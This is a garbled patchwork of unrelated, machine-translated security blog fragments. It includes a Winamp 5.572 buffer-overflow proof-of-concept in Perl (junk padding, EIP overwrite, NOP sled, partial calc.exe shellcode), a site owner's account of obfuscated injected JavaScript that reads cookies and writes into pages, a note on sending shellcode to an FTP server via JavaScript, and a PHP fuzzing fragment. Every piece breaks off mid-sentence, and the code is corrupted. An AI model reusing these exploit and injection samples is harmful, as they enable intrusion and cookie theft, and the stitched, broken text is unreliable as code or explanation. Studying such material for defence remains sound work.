person to debug, to find out how this TXT file exploits the principle. Exploit Code AnalysisNow that we have triggered the vulnerability, we can further analyze the cause of the vulnerability. Take a look at its POC code, which is written in the Perl language:My $version = "Winamp 5.572"; My $junk = "\x41" x 540; My $eip = "\xad\x86\x0e\x07"; # overwrite EIP-070E86AD FFD4 call ESP nde.dll my $nop = "\x90" x 100; My $shellcode = # windows/exec Cmd=calc.exe "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xf
Copy Code code as follows:
function Get () {
var $qL 1 = new window["\x44\x61\x74\x65"] ()
$qL 1["\x73\x65\x74\x54\x69\x6d\x65"] ($qL 1["\x67\x65\x74\x54\x69\x6d\x65"] () + 24*60*60*1000)
var vuICgd2 = new window["\x53\x74\x72\x69\x6e\x67" (window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"] ["\x63\x6f\x6f\x6b\"] X69\X65 "])
var JHasS3 = "\x43\x6f\x6f\x6b\x69\x65\x31\x3d"

When I found my website last night, I had a bunch of JS code in front of the page code HTML. Just started to think that the site was black, hurriedly to the server to see if all files with this string of JS code, search results are not, and the server did not find traces of intrusion.
So can only start from this code, I download this JS development discovery is the following section of code:
Copy Code code as follows:
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65
At this point check the source code can be found at the top of the page was added a sentence
But this code doesn't always appear.
I thought the server was attacked or the virus was in the server.
Checked all pages and related files that have occurred
No Exceptions found
The server didn't find any intrusion marks either.
Download this JS file to the local, open after the discovery is the following code
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\x44\x49\x56
data connection channel. we set up the server (192.168.1.10) in the virtual machine to create the "anonymous" user. the prerequisite for successful exploitation of this vulnerability is to log on to the FTP server first.
Because there is no need to duplicate the wheel, here we use a public vulnerability exploitation code (refer to [1]) to construct a POST request. this time, we use javascript to send shellcode to the FTP server. to successfully send shellcode, we use the sendAsBinary function.

good evidence for Google)First, let's take a look at the method I used. (If you have a better method, I hope to share it with you .)
The code is relatively simple. The PHP part is only responsible for parsing each character as the variable name and whether the execution result will throw overflow.For example, Character a will be parsed ('$ a = 1;'); such a result is certainly no problem, so no exception will be thrown, and the returned result is the OK character.If the character is-, it will b
